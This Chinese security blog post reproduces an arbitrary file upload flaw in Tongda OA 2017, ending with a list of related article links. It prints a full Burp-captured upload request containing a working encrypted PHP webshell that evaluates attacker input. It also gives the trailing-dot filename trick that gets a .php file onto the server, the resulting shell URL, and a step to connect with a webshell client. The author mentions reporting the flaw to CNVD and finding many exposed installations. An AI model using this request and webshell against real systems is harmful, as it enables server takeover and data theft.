漏洞挖掘之通达OA2017任意文件上传

简介: 漏洞挖掘之通达OA2017任意文件上传

关于通达OA

通达OA系统代表了协同OA的先进理念,16年研发铸就成熟OA产品,协同OA软件行业唯一央企团队研发,多次摘取国内OA软件金奖,拥有2万多家正式用户,8万多家免费版用户

通达官网链接:https://www.tongda2000.com/

影响版本:MYOA2017

漏洞:用户可以通过上传任意文件到服务器中,并且可以借助上传的文件利用shell工具直接获得system权限。主要是因为通达OA未对用户上传的文件进行校验,因为windows系统会对文件名最后的.忽略,最后导致了该上传漏洞。比如:1.php. 到了win上之后就会变成1.php

本地复现

下载MYOA2017.exe按照默认选项安装好之后目录如下:

2.  本地按照默认80端口访问该OA:

3. 使用本地的默认账号admin和空密码进入:(实例的时候参考使用通达OA前台任意用户登录漏洞https://mp.weixin.qq.com/s/mY07eR6OnbRueGcITgxb7A进入后台)

4. 选择:快捷菜单—>个人文件柜—>选择新建文件,开始新建文件

5. 选择本地上传图片:

6. 上传脚本shell.jpg开始上传Burpsuite抓包,抓包数据如下:

POST /module/upload/upload.php?encode=utf-8 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X_Requested_With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------26422785422981
Content-Length: 1373
DNT: 1
Connection: close
Referer: http://localhost/module/ueditor/dialogs/image/image.html
Cookie: USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=591f5e0c; PHPSESSID=0bboeic38v9e7pvjqee3ns5gb5
-----------------------------26422785422981
Content-Disposition: form-data; name="id"
WU_FILE_0
-----------------------------26422785422981
Content-Disposition: form-data; name="name"
shell.jpg
-----------------------------26422785422981
Content-Disposition: form-data; name="type"
image/jpeg
-----------------------------26422785422981
Content-Disposition: form-data; name="lastModifiedDate"
2020/8/5 下午11:35:58
-----------------------------26422785422981
Content-Disposition: form-data; name="size"
650
-----------------------------26422785422981
Content-Disposition: form-data; name="file"; filename="shell.jpg"
Content-Type: image/jpeg
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");
        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __construct($p) {eval($p."");}}
    @new C($params);
}
?>
-----------------------------26422785422981--


7. 将文件名修改为:shell.php.,因为在win下不允许文件名最后的后缀是.的形式,所以win下会自动将点进行消除。

8.  得到返回包数据,并将数据进行拼接,得到url链接地址:


http://localhost/upload_temp/2008/798316902.shell.php


9.  访问该地址:

10. 菜刀连接:

因为这个后来提交到了cnvd,所以当时找到很多的互联网案例:

提交CNVD之后:

相关文章
|
JSON 监控 安全
通达OA任意文件上传漏洞详细分析
通达OA任意文件上传漏洞详细分析
阿里云推出“通达云OA”办公系统 基于钉钉的移动OA应用
"通达云OA"是一款基于钉钉的移动OA应用。提供了通用的业务流程审批、考勤打卡、会议管理等功能。
3219 0
|
关系型数据库 数据库 数据安全/隐私保护
修改通达OA Mysql数据库密码
有的用户,出于使用mysql数据库开发其他程序的需要,可能希望修改Mysql数据库的root用户密码, 现做以下简要说明。
1545 0
|
1月前
|
人工智能 自然语言处理 数据挖掘
企业数字化转型的关键:如何利用OA系统实现自动化与智能决策
在数字化时代,传统办公系统已无法满足现代企业的需求。通过将RPA(机器人流程自动化)和AI(人工智能)技术与OA系统结合,企业能实现业务流程自动化、智能决策支持,大幅提升工作效率和资源配置优化,推动数字化转型。RPA可自动处理重复任务,如审批、数据同步等;AI则提供智能数据分析、预测和决策支持,两者协同作用,助力财务管理、人力资源管理、项目管理和客户服务等多个领域实现智能化升级。未来,智能化OA系统将进一步提升个性化服务、数据安全和协作能力,成为企业发展的关键驱动力。
|
8天前
|
UED
点晴免费OA系统让企业办公一键疏通
随着时代的发展,企业的管理难度越来越大,而点晴免费OA系统是企业数字化转型的得力助手,帮助企业提升工作效率,优化资源配置,促进信息共享,从而打破部门间信息壁垒,助力企业在竞争中脱颖而出。
22 3
|
1月前
|
存储 安全 BI
怎样利用点晴免费OA办公系统提升工作效率
随着信息技术的不断发展,OA办公系统的使用率越来越高,让企业更快捷、高效地处理各类事务。点晴免费OA办公系统是一款全面优秀的办公管理系统,其强大的功能和灵活性,为办公环境带来了巨大提升。
52 10
|
1月前
|
安全 BI
点晴免费OA系统对工作有哪些作用
点晴OA在企事业单位中所扮演的角色越来越重要,点晴免费OA的核心本质是帮助用户提高日常办公效率,所以我们日常工作的所有内容可以归入免费OA处理的范畴,我们的办公趋势是无纸化、移动化、社交化。
40 5